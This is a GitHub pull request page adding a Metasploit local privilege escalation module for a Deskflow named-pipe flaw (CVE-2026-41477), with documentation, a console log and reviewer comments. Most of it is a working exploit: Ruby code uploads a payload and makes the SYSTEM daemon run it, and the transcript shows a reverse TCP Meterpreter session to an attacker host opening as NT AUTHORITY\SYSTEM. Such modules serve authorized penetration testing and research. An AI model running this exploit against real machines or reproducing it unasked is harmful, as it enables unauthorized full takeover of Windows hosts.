-
Notifications
You must be signed in to change notification settings - Fork 14.8k
Add CVE-2026-41477: Deskflow unauthenticated IPC named pipe LPE #21363
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
8a3a130
0df9472
68dce36
2730190
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,57 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| Deskflow (formerly Synergy) is an open-source keyboard and mouse sharing | ||
| application. The Deskflow daemon runs as `NT AUTHORITY\SYSTEM` and creates | ||
| a named pipe `\\.\pipe\deskflow-daemon` with a world-accessible DACL | ||
| (`WorldAccessOption` enabled). | ||
|
|
||
| Any local unprivileged user can connect to the pipe and issue IPC commands | ||
| without authentication. Sending `command=<path>`, `elevate=yes`, and `start` | ||
| causes the daemon to execute the specified binary as `NT AUTHORITY\SYSTEM`. | ||
|
|
||
| Affected versions: | ||
|
|
||
| - Deskflow stable **v1.20.0** | ||
| - Deskflow continuous build **v1.26.0.134** | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Start `msfconsole` | ||
| 2. Obtain a Meterpreter session on the target as a normal (non-admin) user on | ||
| a machine running Deskflow | ||
| 3. `use exploit/windows/local/deskflow_ipc_lpe` | ||
| 4. `set SESSION <id>` | ||
| 5. `set LHOST <your IP>` | ||
| 6. `run` | ||
| 7. A new Meterpreter session running as `NT AUTHORITY\SYSTEM` should open | ||
|
|
||
| ## Options | ||
|
|
||
| ### WaitTimeout (advanced) | ||
|
|
||
| Number of seconds to wait for the SYSTEM session callback after triggering | ||
| the named pipe. Default: `45`. | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ### Windows 10 22H2 x64, Deskflow v1.26.0.134 | ||
|
|
||
| ``` | ||
| [msf](Jobs:0 Agents:1) exploit(multi/handler) >> use windows/local/deskflow_ipc_lpe | ||
| [*] Using configured payload windows/x64/meterpreter/reverse_tcp | ||
| [msf](Jobs:0 Agents:1) exploit(windows/local/deskflow_ipc_lpe) >> set session 11 | ||
| session => 11 | ||
| [msf](Jobs:0 Agents:1) exploit(windows/local/deskflow_ipc_lpe) >> run | ||
| [*] Started reverse TCP handler on 172.16.126.1:4444 | ||
| [*] Uploading payload to C:\Users\katana\AppData\Local\Temp\9qPAnf67.exe... | ||
| [*] Triggering escalation via deskflow-daemon named pipe... | ||
| [*] Waiting 45s for SYSTEM session... | ||
| [*] Sending stage (230982 bytes) to 172.16.126.135 | ||
| [+] SYSTEM session 12 opened | ||
| [*] Meterpreter session 12 opened (172.16.126.1:4444 -> 172.16.126.135:1370) at 2026-04-23 06:04:16 +0100 | ||
|
|
||
| (Meterpreter 12)(C:\Windows\system32) > getuid | ||
| Server username: NT AUTHORITY\SYSTEM | ||
| (Meterpreter 12)(C:\Windows\system32) > | ||
|
|
||
| ``` |
| Original file line number | Diff line number | Diff line change | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|
| @@ -0,0 +1,131 @@ | ||||||||||
| ## | ||||||||||
| # This module requires Metasploit: https://metasploit.com/download | ||||||||||
| # Current source: https://github.com/rapid7/metasploit-framework | ||||||||||
| ## | ||||||||||
|
|
||||||||||
| class MetasploitModule < Msf::Exploit::Local | ||||||||||
| Rank = ExcellentRanking | ||||||||||
|
|
||||||||||
| include Msf::Post::File | ||||||||||
| include Msf::Exploit::EXE | ||||||||||
| include Msf::Exploit::FileDropper | ||||||||||
|
|
||||||||||
| def initialize(info = {}) | ||||||||||
| super( | ||||||||||
| update_info( | ||||||||||
| info, | ||||||||||
| 'Name' => 'Deskflow Unauthenticated IPC Named Pipe Local Privilege Escalation', | ||||||||||
| 'Description' => %q{ | ||||||||||
| The Deskflow daemon runs as SYSTEM and exposes a named pipe | ||||||||||
| (\\.\pipe\deskflow-daemon) with WorldAccessOption enabled. | ||||||||||
| Any local unprivileged user can connect and send IPC commands | ||||||||||
| without authentication. Sending command=<path>, elevate=yes, | ||||||||||
| and start causes the daemon to execute an arbitrary binary as | ||||||||||
| NT AUTHORITY\SYSTEM. Affects stable v1.20.0 and continuous | ||||||||||
| build v1.26.0.134. | ||||||||||
| }, | ||||||||||
| 'License' => MSF_LICENSE, | ||||||||||
| 'Author' => [ | ||||||||||
| 'Chokri Hammedi (blue0x1)' | ||||||||||
| ], | ||||||||||
| 'References' => [ | ||||||||||
| ['CVE', '2026-41477'], | ||||||||||
| ['GHSA', 'GHSA-6rx5-g478-775c'] | ||||||||||
| ], | ||||||||||
| 'Platform' => 'win', | ||||||||||
| 'Arch' => [ARCH_X86, ARCH_X64], | ||||||||||
| 'SessionTypes' => ['meterpreter'], | ||||||||||
| 'Targets' => [ | ||||||||||
| ['Windows x64', { 'Arch' => ARCH_X64 }], | ||||||||||
| ['Windows x86', { 'Arch' => ARCH_X86 }] | ||||||||||
| ], | ||||||||||
| 'DefaultTarget' => 0, | ||||||||||
| 'DisclosureDate' => '2026-04-16', | ||||||||||
| 'Notes' => { | ||||||||||
| 'Stability' => [CRASH_SAFE], | ||||||||||
| 'Reliability' => [REPEATABLE_SESSION], | ||||||||||
| 'SideEffects' => [ARTIFACTS_ON_DISK] | ||||||||||
| } | ||||||||||
| ) | ||||||||||
| ) | ||||||||||
|
|
||||||||||
| register_advanced_options([ | ||||||||||
| OptInt.new('WaitTimeout', [true, 'Seconds to wait for SYSTEM session callback', 45]) | ||||||||||
| ]) | ||||||||||
| end | ||||||||||
|
|
||||||||||
| def check | ||||||||||
| h = pipe_open(0x80000000) # GENERIC_READ | ||||||||||
| return CheckCode::Safe('Named pipe deskflow-daemon not found') unless h | ||||||||||
|
|
||||||||||
| session.railgun.kernel32.CloseHandle(h) | ||||||||||
| CheckCode::Vulnerable('Named pipe \\.\pipe\deskflow-daemon is accessible') | ||||||||||
| end | ||||||||||
|
|
||||||||||
| def exploit | ||||||||||
| fail_with(Failure::NotVulnerable, 'Pipe deskflow-daemon not found') unless begin | ||||||||||
| h = pipe_open(0x80000000) | ||||||||||
| session.railgun.kernel32.CloseHandle(h) if h | ||||||||||
| h | ||||||||||
| end | ||||||||||
|
|
||||||||||
| tmp_dir = session.fs.file.expand_path('%TEMP%') | ||||||||||
| payload_path = "#{tmp_dir}\\#{rand_text_alphanumeric(8)}.exe" | ||||||||||
|
|
||||||||||
| print_status("Uploading payload to #{payload_path}...") | ||||||||||
| write_file(payload_path, generate_payload_exe) | ||||||||||
| register_file_for_cleanup(payload_path) | ||||||||||
|
|
||||||||||
| initial_sessions = framework.sessions.keys.dup | ||||||||||
|
|
||||||||||
| print_status('Triggering escalation via deskflow-daemon named pipe...') | ||||||||||
| trigger_pipe(payload_path) | ||||||||||
|
|
||||||||||
| print_status("Waiting #{datastore['WaitTimeout']}s for SYSTEM session...") | ||||||||||
| deadline = Time.now + datastore['WaitTimeout'].to_i | ||||||||||
| Rex::ThreadSafe.sleep(2) until (framework.sessions.keys - initial_sessions).any? || Time.now >= deadline | ||||||||||
|
|
||||||||||
| new_session_id = (framework.sessions.keys - initial_sessions).first | ||||||||||
| print_good("SYSTEM session #{new_session_id} opened") if new_session_id | ||||||||||
|
||||||||||
| print_good("SYSTEM session #{new_session_id} opened") if new_session_id | |
| fail_with(Failure::TimeoutExpired, "No SYSTEM session was created within #{datastore['WaitTimeout']} seconds") unless new_session_id | |
| print_good("SYSTEM session #{new_session_id} opened") |
Copilot
AI
Apr 23, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
pipe_write ignores the WriteFile result. If the write fails (e.g., broken pipe / access denied), the module will continue as if it succeeded and then just time out. Check the return value (and GetLastError/ErrorMessage) and fail early with a clear error; also consider closing the handle via ensure if you raise from inside the write loop.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'd think that the value would be implicitly returned? I guess I'm not sure if we get back an error or not from the railgun call?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Module metadata leaves
Privilegedat the defaultfalse, but this exploit is intended to execute the payload asNT AUTHORITY\\SYSTEM. Set'Privileged' => truein the module info so module filtering/UX correctly reflects that it yields elevated privileges.